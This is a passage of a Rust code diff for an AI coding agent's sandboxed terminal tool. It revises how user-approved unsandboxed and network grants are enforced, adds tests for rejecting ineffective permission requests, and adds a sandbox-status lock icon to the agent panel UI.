-            event_stream.authorize_sandbox(title, command, request.clone(), reason.to_string(), cx)
-        });
+        let approve =
+            cx.update(|cx| event_stream.authorize_sandbox(request.clone(), reason.to_string(), cx));
         if let Err(error) = approve.await {
             if want_unsandboxed {
                 return Ok(format!(
@@ -496,40 +563,42 @@ async fn run_terminal_tool(
     // create the sandbox it aborts. As the consumer we may still run the command
     // without a sandbox (when the user has opted into that), but we record
     // *why* in `sandbox_not_applied` so we can warn the user and tell the agent.
-    // Only the Linux/Windows sandbox-creation fallbacks (and the matching
-    // "for this thread" grant) ever reassign this, so on other platforms the
-    // binding stays `None` and wouldn't need `mut`.
+    // A standing "run unsandboxed for this thread" grant (any platform) and the
+    // Linux/Windows sandbox-creation fallbacks reassign this; on platforms
+    // without a sandbox integration the binding stays `None` and wouldn't need
+    // `mut`.
     #[cfg_attr(
-        not(any(target_os = "linux", target_os = "windows")),
+        not(any(target_os = "macos", target_os = "linux", target_os = "windows")),
         allow(unused_mut)
     )]
     let mut sandbox_not_applied: Option<acp_thread::SandboxNotAppliedReason> = None;
     let sandbox_wrap = if sandboxing && !want_unsandboxed {
-        let sandbox_permissions = cx.update(|cx| {
-            agent_settings::AgentSettings::get_global(cx)
-                .sandbox_permissions
-                .clone()
-        });
-
-        if event_stream.sandbox_fallback_granted_for_thread() {
-            // The user allowed unsandboxed execution for the rest of this
-            // thread after an earlier sandbox failure (Linux and Windows, which
-            // share the `authorize_sandbox_fallback` flow).
-            #[cfg(any(target_os = "linux", target_os = "windows"))]
-            {
-                sandbox_not_applied =
-                    Some(acp_thread::SandboxNotAppliedReason::DisabledForThisThread);
-            }
+        if unsandboxed_floor {
+            // Every command in this thread runs unsandboxed because the user
+            // approved it — a model-requested "run unsandboxed" escape granted
+            // for the thread, or the sandbox-creation fallback after a failure.
+            // Record why so the model is told it ran without isolation.
+            sandbox_not_applied = Some(acp_thread::SandboxNotAppliedReason::DisabledForThisThread);
             None
         } else {
-            let effective = event_stream.effective_sandbox_request(&request, &sandbox_permissions);
-            let sandbox_paths =
-                cx.update(|cx| sandbox_paths(project.read(cx), effective.allow_git_access, cx));
+            let effective = event_stream.effective_sandbox_request(&request, &persistent);
+            if !can_restrict_to_hosts && matches!(effective.network, NetworkRequest::Hosts(_)) {
+                return Err(
+                    "This platform or project has a saved host-specific network grant, but cannot enforce host-specific sandboxed network access. Request `allow_all_hosts: true` if the command needs network access."
+                        .to_string(),
+                );
+            }
+            let (writable_paths, git_dirs) = cx.update(|cx| {
+                let project = project.read(cx);
+                (
+                    crate::sandboxing::sandbox_worktree_writable_paths(project, cx),
+                    crate::sandboxing::sandbox_git_dirs(project, cx),
+                )
+            });
             let wrap = acp_thread::SandboxWrap {
-                writable_paths: sandbox_paths.writable_paths,
+                writable_paths,
                 extra_write_paths: effective.write_paths,
-                protected_paths: sandbox_paths.protected_paths,
-                allowed_unix_socket_paths: Vec::new(),
+                git_dirs,
                 allow_git_access: effective.allow_git_access,
                 network: network_request_to_sandbox_network_access(&effective.network),
                 allow_fs_write: effective.allow_fs_write_all,
@@ -661,8 +730,11 @@ async fn run_terminal_tool(
             // already running unsandboxed — goes straight back to the model.
             let Some(message) = effective_wrap.as_ref().and_then(|_| {
                 error
-                    .downcast_ref::<sandbox::windows_wsl::WslSandboxUnavailable>()
-                    .map(|unavailable| unavailable.message().to_string())
+                    .downcast_ref::<sandbox::SandboxError>()
+                    .and_then(|error| match error {
+                        sandbox::SandboxError::WslUnavailable(message) => Some(message.clone()),
+                        _ => None,
+                    })
             }) else {
                 return Err(format!("{error:#}"));
             };
@@ -921,22 +993,16 @@ fn network_request_to_sandbox_network_access(
         NetworkRequest::None => acp_thread::SandboxNetworkAccess::None,
         NetworkRequest::AnyHost => acp_thread::SandboxNetworkAccess::All,
         NetworkRequest::Hosts(hosts) => {
-            #[cfg(target_os = "macos")]
+            #[cfg(any(target_os = "macos", target_os = "linux"))]
             {
                 acp_thread::SandboxNetworkAccess::Restricted(http_proxy::Allowlist::from_patterns(
                     hosts.iter().cloned(),
                 ))
             }
-            // Only macOS (Seatbelt plus the loopback proxy) can confine egress
-            // to an allowlist; other sandboxes can only toggle the network
-            // wholesale, so a host-specific grant becomes full network access.
-            // `run_terminal_tool` widens once-requests to `AnyHost` up front so
-            // the approval prompt matches — this guards the persistent-grant
-            // path (host grants restored from settings).
-            #[cfg(not(target_os = "macos"))]
+            #[cfg(not(any(target_os = "macos", target_os = "linux")))]
             {
                 let _ = hosts;
-                acp_thread::SandboxNetworkAccess::All
+                acp_thread::SandboxNetworkAccess::None
             }
         }
     }
@@ -968,68 +1034,6 @@ fn build_network_request(sandbox: &TerminalSandboxInput) -> Result<NetworkReques
     Ok(NetworkRequest::Hosts(patterns))
 }
 
-/// User-facing title for the sandbox-escalation approval prompt. Only called
-/// when the request actually asks for something (see
-/// [`crate::sandboxing::SandboxRequest::needs_escalation`]).
-fn sandbox_approval_title(request: &crate::sandboxing::SandboxRequest) -> String {
-    if request.unsandboxed {
-        return "Allow this command to run outside the sandbox?".to_string();
-    }
-
-    let mut parts: Vec<String> = Vec::new();
-    if let Some(network_clause) = network_clause(&request.network) {
-        parts.push(network_clause);
-    }
-    if request.allow_git_access {
-        parts.push("Git metadata access".to_string());
-    }
-    if request.allow_fs_write_all {
-        parts.push("unrestricted filesystem writes".to_string());
-    } else if !request.write_paths.is_empty() {
-        parts.push(format!(
-            "write access to {}",
-            write_path_summary(&request.write_paths)
-        ));
-    }
-    match parts.as_slice() {
-        [] => "Allow this command extra permissions?".to_string(),
-        [only] => format!("Allow {only}?"),
-        [first, second] => format!("Allow {first} and {second}?"),
-        _ => format!("Allow {}?", parts.join(", ")),
-    }
-}
-
-/// The network clause for the approval title, or `None` when no network was
-/// requested.
-fn network_clause(network: &NetworkRequest) -> Option<String> {
-    match network {
-        NetworkRequest::None => None,
-        NetworkRequest::AnyHost => Some("arbitrary network access".to_string()),
-        NetworkRequest::Hosts(hosts) => Some(format_hosts_clause(hosts)),
-    }
-}
-
-fn format_hosts_clause(hosts: &[http_proxy::HostPattern]) -> String {
-    let names: Vec<String> = hosts.iter().map(|host| host.to_string()).collect();
-    match names.as_slice() {
-        [] => "network access".to_string(),
-        [single] => format!("network access to {single}"),
-        [first, second] => format!("network access to {first} and {second}"),
-        _ => {
-            let (last, init) = names.split_last().expect("non-empty");
-            format!("network access to {}, and {last}", init.join(", "))
-        }
-    }
-}
-
-fn write_path_summary(paths: &[PathBuf]) -> String {
-    match paths {
-        [] => "0 paths".to_string(),
-        [path] => path.display().to_string(),
-        paths => format!("{} paths", paths.len()),
-    }
-}
-
 #[derive(Clone, Copy, Debug, Default)]
 struct TerminalOutputSelection {
     head_lines: Option<usize>,
@@ -1180,59 +1184,6 @@ fn process_content(
     content
 }
 
-struct SandboxPaths {
-    writable_paths: Vec<PathBuf>,
-    protected_paths: Vec<PathBuf>,
-}
-
-fn sandbox_paths(project: &Project, allow_git_access: bool, cx: &App) -> SandboxPaths {
-    let mut writable_paths = Vec::new();
-    let mut git_paths = Vec::new();
-
-    for worktree in project.worktrees(cx) {
-        let worktree = worktree.read(cx);
-        let worktree_abs_path = worktree.abs_path();
-        writable_paths.push(worktree_abs_path.to_path_buf());
-        // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
-        // can't `git init` and then write to the freshly created metadata.
-        git_paths.push(worktree_abs_path.join(".git"));
-
-        // `Worktree` derefs to `Snapshot`; read the field directly instead of
-        // cloning the whole snapshot just for this path.
-        if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
-            git_paths.push(root_repo_common_dir.to_path_buf());
-        }
-    }
-
-    // `Repository` derefs to `RepositorySnapshot`, so read the few path fields
-    // directly rather than cloning the entire snapshot (which carries the
-    // per-path status tree) for each repository.
-    for repository in project.git_store().read(cx).repositories().values() {
-        let repository = repository.read(cx);
-        git_paths.push(repository.dot_git_abs_path.to_path_buf());
-        git_paths.push(repository.repository_dir_abs_path.to_path_buf());
-        git_paths.push(repository.common_dir_abs_path.to_path_buf());
-    }
-
-    git_paths.sort();
-    git_paths.dedup();
-
-    let protected_paths = if allow_git_access {
-        writable_paths.extend(git_paths);
-        Vec::new()
-    } else {
-        git_paths
-    };
-
-    writable_paths.sort();
-    writable_paths.dedup();
-
-    SandboxPaths {
-        writable_paths,
-        protected_paths,
-    }
-}
-
 fn working_dir(cd: &str, project: &Entity<Project>, cx: &mut App) -> Result<Option<PathBuf>> {
     let project = project.read(cx);
 
@@ -1270,7 +1221,6 @@ fn working_dir(cd: &str, project: &Entity<Project>, cx: &mut App) -> Result<Opti
 #[cfg(test)]
 mod tests {
     use super::*;
-    use fs::Fs;
 
     #[test]
     fn test_initial_title_shows_full_multiline_command() {
@@ -1302,91 +1252,6 @@ mod tests {
         )
     }
 
-    #[gpui::test]
-    async fn test_sandbox_paths_protect_git_paths_until_git_access_is_allowed(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/main_repo",
-            serde_json::json!({
-                ".git": {},
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.add_linked_worktree_for_repo(
-            Path::new("/main_repo/.git"),
-            false,
-            git::repository::Worktree {
-                path: PathBuf::from("/linked_worktree"),
-                ref_name: Some("refs/heads/feature".into()),
-                sha: "abc123".into(),
-                is_main: false,
-                is_bare: false,
-            },
-        )
-        .await;
-        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
-            .await
-            .expect("linked worktree file should be written");
-
-        let project = project::Project::test(fs, [Path::new("/linked_worktree")], cx).await;
-        let paths_without_git_access = cx.update(|cx| sandbox_paths(project.read(cx), false, cx));
-
-        assert!(
-            paths_without_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree"))
-        );
-        assert!(
-            paths_without_git_access
-                .protected_paths
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            !paths_without_git_access
-                .protected_paths
-                .contains(&PathBuf::from("/linked_worktree/.gitignore"))
-        );
-        assert!(
-            paths_without_git_access
-                .protected_paths
-                .contains(&PathBuf::from("/main_repo/.git"))
-        );
-        assert!(
-            paths_without_git_access
-                .protected_paths
-                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
-        );
-
-        let paths_with_git_access = cx.update(|cx| sandbox_paths(project.read(cx), true, cx));
-
-        assert!(paths_with_git_access.protected_paths.is_empty());
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree"))
-        );
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/main_repo/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
-        );
-    }
-
     #[test]
     fn test_process_content_user_stopped() {
         let output = acp::TerminalOutputResponse::new("partial output".to_string(), false);
@@ -2906,20 +2771,6 @@ mod tests {
         );
     }
 
-    fn sandbox_request(
-        network: NetworkRequest,
-        all: bool,
-        paths: &[&str],
-    ) -> crate::sandboxing::SandboxRequest {
-        crate::sandboxing::SandboxRequest {
-            network,
-            allow_git_access: false,
-            allow_fs_write_all: all,
-            unsandboxed: false,
-            write_paths: paths.iter().map(PathBuf::from).collect(),
-        }
-    }
-
     #[test]
     fn test_join_write_paths_resolves_relative_and_absolute() {
         let base = PathBuf::from(if cfg!(windows) {
@@ -3033,26 +2884,6 @@ mod tests {
         assert_eq!(joined, vec![expected_escape, expected_abs]);
     }
 
-    #[test]
-    fn test_sandbox_approval_title_unsandboxed() {
-        let mut request = sandbox_request(NetworkRequest::AnyHost, true, &["/tmp/build"]);
-        request.unsandboxed = true;
-        assert_eq!(
-            sandbox_approval_title(&request),
-            "Allow this command to run outside the sandbox?"
-        );
-    }
-
-    #[test]
-    fn test_sandbox_approval_title_summarizes_multiple_paths_by_count() {
-        let title = sandbox_approval_title(&sandbox_request(
-            NetworkRequest::None,
-            false,
-            &["/a", "/b", "/c", "/d"],
-        ));
-        assert_eq!(title, "Allow write access to 4 paths?");
-    }
-
     #[test]
     fn test_input_schema_includes_sandbox_flags() {
         // The sandboxed terminal tool advertises these fields so the model can
@@ -3076,10 +2907,6 @@ mod tests {
             schema.contains("allow_fs_write_all"),
             "schema should advertise allow_fs_write_all: {schema}"
         );
-        assert!(
-            schema.contains("allow_git_access"),
-            "schema should advertise allow_git_access: {schema}"
-        );
         assert!(
             schema.contains("unsandboxed"),
             "schema should advertise unsandboxed: {schema}"
@@ -3101,7 +2928,6 @@ mod tests {
         assert_eq!(input.allow_all_hosts, None);
         assert!(input.fs_write_paths.is_empty());
         assert_eq!(input.allow_fs_write_all, None);
-        assert_eq!(input.allow_git_access, None);
         assert_eq!(input.unsandboxed, None);
     }
 
@@ -3161,7 +2987,6 @@ mod tests {
                 .expect("legacy allow_fs_write should request sandbox authorization details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
-        assert!(!details.allow_git_access);
         assert!(details.allow_fs_write_all);
         assert!(!details.unsandboxed);
         assert!(details.write_paths.is_empty());
@@ -3251,16 +3076,14 @@ mod tests {
         let task = cx.update(|cx| tool.run(crate::ToolInput::resolved(input), event_stream, cx));
 
         let authorization = receiver.expect_authorization().await;
-        assert_eq!(
-            authorization.tool_call.fields.title.as_deref(),
-            Some("Allow this command to run outside the sandbox?")
-        );
+        // The sandbox approval deliberately leaves the tool-call title untouched
+        // so the card keeps showing the command being approved.
+        assert_eq!(authorization.tool_call.fields.title, None);
         let details =
             acp_thread::sandbox_authorization_details_from_meta(&authorization.tool_call.meta)
                 .expect("unsandboxed should request sandbox authorization details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
-        assert!(!details.allow_git_access);
         assert!(!details.allow_fs_write_all);
         assert!(details.unsandboxed);
         assert!(details.write_paths.is_empty());
@@ -3436,93 +3259,183 @@ mod tests {
         assert_eq!(environment2.terminal_creation_count(), 0);
     }
 
-    fn host_request(list: &[&str]) -> NetworkRequest {
-        NetworkRequest::Hosts(
-            list.iter()
-                .map(|h| http_proxy::HostPattern::parse(h).unwrap())
-                .collect(),
-        )
+    /// Set up a sandboxing-enabled, auto-allowing project for the floor-
+    /// enforcement tests, with the given persistent settings and thread grants.
+    async fn floor_test_tool(
+        cx: &mut gpui::TestAppContext,
+        persistent: agent_settings::SandboxPermissions,
+        grants: crate::sandboxing::ThreadSandboxGrants,
+    ) -> (
+        std::sync::Arc<SandboxedTerminalTool>,
+        crate::ToolCallEventStream,
+        crate::ToolCallEventStreamReceiver,
+        std::rc::Rc<crate::tests::FakeThreadEnvironment>,
+    ) {
+        use feature_flags::FeatureFlagAppExt as _;
+
+        crate::tests::init_test(cx);
+        cx.update(|cx| {
+            cx.update_flags(true, vec!["sandboxing".to_string()]);
+            let mut settings = agent_settings::AgentSettings::get_global(cx).clone();
+            settings.tool_permissions.default = settings::ToolPermissionMode::Allow;
+            settings.tool_permissions.tools.remove(TerminalTool::NAME);
+            settings.sandbox_permissions = persistent;
+            agent_settings::AgentSettings::override_global(settings, cx);
+        });
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree("/root", serde_json::json!({})).await;
+        let project = project::Project::test(fs, ["/root".as_ref()], cx).await;
+
+        let environment = std::rc::Rc::new(cx.update(|cx| {
+            crate::tests::FakeThreadEnvironment::default().with_terminal(
+                crate::tests::FakeTerminalHandle::new_with_immediate_exit(cx, 0),
+            )
+        }));
+        #[allow(clippy::arc_with_non_send_sync)]
+        let tool = std::sync::Arc::new(SandboxedTerminalTool::new(project, environment.clone()));
+        let grants = std::rc::Rc::new(std::cell::RefCell::new(grants));
+        let (event_stream, receiver) = crate::ToolCallEventStream::test_with_grants(grants);
+        (tool, event_stream, receiver, environment)
     }
 
-    #[test]
-    fn test_sandbox_approval_title_all_access_and_network() {
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(NetworkRequest::AnyHost, true, &[])),
-            "Allow arbitrary network access and unrestricted filesystem writes?"
-        );
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(NetworkRequest::AnyHost, false, &[])),
-            "Allow arbitrary network access?"
-        );
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(NetworkRequest::None, true, &[])),
-            "Allow unrestricted filesystem writes?"
-        );
+    /// A standing "run unsandboxed for this thread" grant makes an ordinary
+    /// command (one that requests no escalation) run without a sandbox, and the
+    /// model is told so in the output.
+    #[gpui::test]
+    async fn test_unsandboxed_thread_grant_runs_bare_command_unsandboxed(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let mut grants = crate::sandboxing::ThreadSandboxGrants::default();
+        grants.record(&crate::sandboxing::SandboxRequest {
+            unsandboxed: true,
+            ..Default::default()
+        });
+        let (tool, event_stream, _receiver, environment) =
+            floor_test_tool(cx, agent_settings::SandboxPermissions::default(), grants).await;
 
-        let mut request = sandbox_request(NetworkRequest::AnyHost, false, &[]);
-        request.allow_git_access = true;
-        assert_eq!(
-            sandbox_approval_title(&request),
-            "Allow arbitrary network access and Git metadata access?"
+        let input: SandboxedTerminalToolInput = serde_json::from_value(serde_json::json!({
+            "command": "echo hi",
+            "cd": "root",
+        }))
+        .unwrap();
+        let task = cx.update(|cx| tool.run(crate::ToolInput::resolved(input), event_stream, cx));
+        let result = task.await.expect("bare command should run");
+        assert_eq!(environment.terminal_creation_count(), 1);
+        assert!(
+            result.contains("WITHOUT an OS sandbox"),
+            "a bare command in an unsandboxed thread must run unsandboxed: {result}"
         );
     }
 
-    #[test]
-    fn test_sandbox_approval_title_specific_hosts() {
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(host_request(&["github.com"]), false, &[])),
-            "Allow network access to github.com?"
-        );
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(
-                host_request(&["github.com", "*.npmjs.org"]),
-                false,
-                &[]
-            )),
-            "Allow network access to github.com and *.npmjs.org?"
+    /// Once the thread is unsandboxed, the model must not be able to ask for a
+    /// scoped sandbox (it would silently run unsandboxed instead) — the call is
+    /// rejected so the model fixes its request.
+    #[gpui::test]
+    async fn test_unsandboxed_thread_grant_rejects_scoping_request(cx: &mut gpui::TestAppContext) {
+        let mut grants = crate::sandboxing::ThreadSandboxGrants::default();
+        grants.record(&crate::sandboxing::SandboxRequest {
+            unsandboxed: true,
+            ..Default::default()
+        });
+        let (tool, event_stream, _receiver, environment) =
+            floor_test_tool(cx, agent_settings::SandboxPermissions::default(), grants).await;
+
+        let input: SandboxedTerminalToolInput = serde_json::from_value(serde_json::json!({
+            "command": "touch build/out",
+            "cd": "root",
+            "fs_write_paths": ["build"],
+            "allow_all_hosts": true,
+            "reason": "write build artifacts",
+        }))
+        .unwrap();
+        let task = cx.update(|cx| tool.run(crate::ToolInput::resolved(input), event_stream, cx));
+        let error = task
+            .await
+            .expect_err("scoping a request in an unsandboxed thread should be rejected");
+        assert!(
+            error.contains("Sandboxing is disabled for this thread"),
+            "unexpected error: {error}"
         );
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(
-                host_request(&["github.com", "npmjs.org", "pypi.org"]),
-                false,
-                &[]
-            )),
-            "Allow network access to github.com, npmjs.org, and pypi.org?"
+        // The error must name exactly the fields that have no effect.
+        assert!(
+            error.contains("`fs_write_paths`") && error.contains("`allow_all_hosts`"),
+            "error should name the ineffective fields: {error}"
         );
+        assert_eq!(environment.terminal_creation_count(), 0);
     }
 
-    #[test]
-    fn test_sandbox_approval_title_per_path_writes() {
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(
-                NetworkRequest::None,
-                false,
-                &["/tmp/build"]
-            )),
-            "Allow write access to /tmp/build?"
-        );
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(
-                host_request(&["github.com"]),
-                false,
-                &["/tmp/build"]
-            )),
-            "Allow network access to github.com and write access to /tmp/build?"
+    /// A persistent "allow unrestricted filesystem writes" setting makes scoping
+    /// writes to specific paths meaningless, so such a request is rejected.
+    #[gpui::test]
+    async fn test_unrestricted_fs_setting_rejects_scoped_write_paths(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let persistent = agent_settings::SandboxPermissions {
+            allow_fs_write_all: true,
+            ..Default::default()
+        };
+        let (tool, event_stream, _receiver, environment) = floor_test_tool(
+            cx,
+            persistent,
+            crate::sandboxing::ThreadSandboxGrants::default(),
+        )
+        .await;
+
+        let input: SandboxedTerminalToolInput = serde_json::from_value(serde_json::json!({
+            "command": "touch build/out",
+            "cd": "root",
+            "fs_write_paths": ["build"],
+            "reason": "write build artifacts",
+        }))
+        .unwrap();
+        let task = cx.update(|cx| tool.run(crate::ToolInput::resolved(input), event_stream, cx));
+        let error = task
+            .await
+            .expect_err("scoping writes when FS is unrestricted should be rejected");
+        assert!(
+            error.contains("Unrestricted filesystem writes are enabled for this thread"),
+            "unexpected error: {error}"
         );
+        assert_eq!(environment.terminal_creation_count(), 0);
     }
 
-    #[test]
-    fn test_all_access_takes_precedence_over_paths_in_title() {
-        // When all-access is requested, the specific paths are redundant and
-        // should not be listed.
-        assert_eq!(
-            sandbox_approval_title(&sandbox_request(
-                NetworkRequest::None,
-                true,
-                &["/tmp/build"]
-            )),
-            "Allow unrestricted filesystem writes?"
+    /// A standing "any host" network grant makes scoping to specific hosts
+    /// meaningless, so such a request is rejected.
+    #[gpui::test]
+    async fn test_unrestricted_network_grant_rejects_scoped_hosts(cx: &mut gpui::TestAppContext) {
+        let mut grants = crate::sandboxing::ThreadSandboxGrants::default();
+        grants.record(&crate::sandboxing::SandboxRequest {
+            network: NetworkRequest::AnyHost,
+            ..Default::default()
+        });
+        let (tool, event_stream, _receiver, environment) =
+            floor_test_tool(cx, agent_settings::SandboxPermissions::default(), grants).await;
+
+        let input: SandboxedTerminalToolInput = serde_json::from_value(serde_json::json!({
+            "command": "curl https://github.com",
+            "cd": "root",
+            "allow_hosts": ["github.com"],
+            "reason": "fetch from github",
+        }))
+        .unwrap();
+        let task = cx.update(|cx| tool.run(crate::ToolInput::resolved(input), event_stream, cx));
+        let error = task
+            .await
+            .expect_err("scoping hosts when network is unrestricted should be rejected");
+        assert!(
+            error.contains("Unrestricted network access is enabled for this thread"),
+            "unexpected error: {error}"
         );
+        assert_eq!(environment.terminal_creation_count(), 0);
+    }
+
+    fn host_request(list: &[&str]) -> NetworkRequest {
+        NetworkRequest::Hosts(
+            list.iter()
+                .map(|h| http_proxy::HostPattern::parse(h).unwrap())
+                .collect(),
+        )
     }
 
     #[test]
@@ -3572,17 +3485,15 @@ mod tests {
             other => panic!("expected unrestricted network access, got {other:?}"),
         }
 
-        // Only macOS can confine egress to an allowlist; other platforms can
-        // only toggle the network wholesale, so a host request becomes full
-        // access there.
+        // macOS and Linux confine host requests through the allowlist proxy.
         match network_request_to_sandbox_network_access(&host_request(&["github.com"])) {
-            #[cfg(target_os = "macos")]
+            #[cfg(any(target_os = "macos", target_os = "linux"))]
             acp_thread::SandboxNetworkAccess::Restricted(allowlist) => {
                 assert!(allowlist.allows("github.com"));
                 assert!(!allowlist.allows("example.com"));
             }
-            #[cfg(not(target_os = "macos"))]
-            acp_thread::SandboxNetworkAccess::All => {}
+            #[cfg(not(any(target_os = "macos", target_os = "linux")))]
+            acp_thread::SandboxNetworkAccess::None => {}
             other => panic!("unexpected network access for host request, got {other:?}"),
         }
     }
diff --git a/crates/agent_ui/Cargo.toml b/crates/agent_ui/Cargo.toml
index 48fee9ffa3499d..bd1ed2b0ff9aeb 100644
--- a/crates/agent_ui/Cargo.toml
+++ b/crates/agent_ui/Cargo.toml
@@ -90,6 +90,7 @@ release_channel.workspace = true
 remote.workspace = true
 remote_connection.workspace = true
 rope.workspace = true
+sandbox.workspace = true
 schemars.workspace = true
 search.workspace = true
 serde.workspace = true
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index ffdcfc890b7b7f..39507fa45aa0e0 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -11009,6 +11009,7 @@ mod tests {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: Default::default(),
         };
 
         let thread_store = cx.update(|cx| ThreadStore::global(cx));
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index d0e17015b0c131..d305cdb69f5f57 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -12,11 +12,12 @@ use acp_thread::{
     ContentBlock, PlanEntry, SandboxAuthorizationDetails, SandboxFallbackAuthorizationDetails,
     SandboxNotAppliedReason,
 };
-use agent::{SkillLoadingIssue, SkillLoadingIssueKind, SkillLoadingIssuesUpdated};
+use agent::{SkillLoadingIssue, SkillLoadingIssueKind, SkillLoadingIssuesUpdated, ThreadSandbox};
 use agent_settings::UserAgentsMd;
 use agent_skills::MAX_SKILL_DESCRIPTION_LEN;
 use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
 use editor::actions::OpenExcerpts;
+use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
 use crate::completion_provider::AvailableSkill;
 use crate::message_editor::SharedSessionCapabilities;
@@ -664,6 +665,19 @@ enum ToolCallLayout {
     Floating,
 }
 
+impl ToolCallLayout {
+    /// Stable discriminant used to disambiguate element ids when the same tool
+    /// call is rendered in more than one layout at once (e.g. inline in the
+    /// list *and* in the floating awaiting-permission row).
+    fn id_str(self) -> &'static str {
+        match self {
+            ToolCallLayout::Standalone => "standalone",
+            ToolCallLayout::Embedded => "embedded",
+            ToolCallLayout::Floating => "floating",
+        }
+    }
+}
+
 fn full_path_for_empty_project_path(file: &dyn language::File, cx: &App) -> Option<String> {
     if file.path().file_name().is_some() {
         return None;
@@ -4150,6 +4164,7 @@ impl ThreadView {
                                     .gap_0p5()
                                     .child(self.render_add_context_button(cx))
                                     .child(self.render_follow_toggle(cx))
+                                    .children(self.render_sandbox_status(cx))
                                     .children(self.render_fast_mode_control(cx))
                                     .children(self.render_thinking_control(cx)),
                             )
@@ -4552,6 +4567,71 @@ impl ThreadView {
             .unwrap_or(false)
     }
 
+    /// A small lock icon summarizing the sandbox state. Hovering shows the
+    /// write-access paths and network-access domains from the user's settings
+    /// and the per-thread overrides. The lock is struck through when sandboxing
+    /// is turned off (in settings, or for this thread). Shown whenever
+    /// sandboxing is *applicable* to the project, even when disabled, so the
+    /// user can always see and change the state. Clicking opens the settings.
+    fn render_sandbox_status(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
+        let thread = self.as_native_thread(cx)?;
+        let thread = thread.read(cx);
+        let (settings_sandbox, thread_sandbox) = thread.sandbox_status(cx)?;
+        let baseline = thread.sandbox_baseline_writable_paths(cx);
+
+        // The lock is struck only when the *merged* result is unsandboxed (the
+        // agent runs with ambient permissions). A layer that is merely wide open
+        // but still sandboxed keeps the closed lock.
+        let icon = if settings_sandbox
+            .clone()
+            .merge(thread_sandbox.clone())
+            .is_unsandboxed()
+        {
+            IconName::LockOutlinedOff
+        } else {
+            IconName::LockOutlined
+        };
+
+        let state = match (settings_sandbox, thread_sandbox) {
+            // No sandbox at all because the user turned it off in settings: the
+            // per-thread layer is moot, so don't show it.
+            (ThreadSandbox::Unsandboxed, _) => SandboxTooltipState::DisabledInSettings,
+            // Sandboxed by settings, but disabled for this thread: show the
+            // settings scope (greyed) for context above the disabled status.
+            (ThreadSandbox::Sandboxed(settings_policy), ThreadSandbox::Unsandboxed) => {
+                SandboxTooltipState::DisabledForThread {
+                    settings: augment_settings_sandbox_policy(settings_policy, baseline),
+                }
+            }
+            (
+                ThreadSandbox::Sandboxed(settings_policy),
+                ThreadSandbox::Sandboxed(thread_policy),
+            ) => SandboxTooltipState::Enabled {
+                settings: augment_settings_sandbox_policy(settings_policy, baseline),
+                thread: thread_policy,
+            },
+        };
+
+        Some(
+            IconButton::new("sandbox-status", icon)
+                .icon_size(IconSize::Small)
+                .icon_color(Color::Muted)
+                .tooltip(Tooltip::element(move |_window, cx| {
+                    render_sandbox_status_tooltip(&state, cx)
+                }))
+                .on_click(|_, window, cx| {
+                    window.dispatch_action(
+                        Box::new(zed_actions::OpenSettingsAt {
+                            path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
+                            target: None,
+                        }),
+                        cx,
+                    );
+                })
+                .into_any_element(),
+        )
+    }
+
     fn render_fast_mode_control(&self, cx: &mut Context<Self>) -> Option<AnyElement> {
         if !self.fast_mode_available(cx) {
             return None;
@@ -5464,6 +5544,279 @@ impl Render for TokenUsageTooltip {
     }
 }
 
+/// Which sandbox state the status tooltip describes.
+#[derive(Clone)]
+enum SandboxTooltipState {
+    /// Sandboxing is on: show the settings policy and the per-thread overrides.
+    Enabled {
+        settings: SandboxPolicy,
+        thread: SandboxPolicy,
+    },
+    /// Turned off via the persistent `allow_unsandboxed` setting.
+    DisabledInSettings,
+    /// Turned off for this thread (the "run without sandbox for this thread"
+    /// fallback). The settings policy is still shown, greyed out, for context.
+    DisabledForThread { settings: SandboxPolicy },
+}
+
+/// Build the hover tooltip for the sandbox status icon. Always opens with a
+/// "Sandboxing settings" title, then describes the active state.
+///
+/// Returns the raw content only: `Tooltip::element` wraps it in the tooltip
+/// container, so wrapping it again here would double the background.
+fn render_sandbox_status_tooltip(state: &SandboxTooltipState, cx: &App) -> AnyElement {
+    let mut body = v_flex()
+        .min_w(rems(15.))
+        .gap_2()
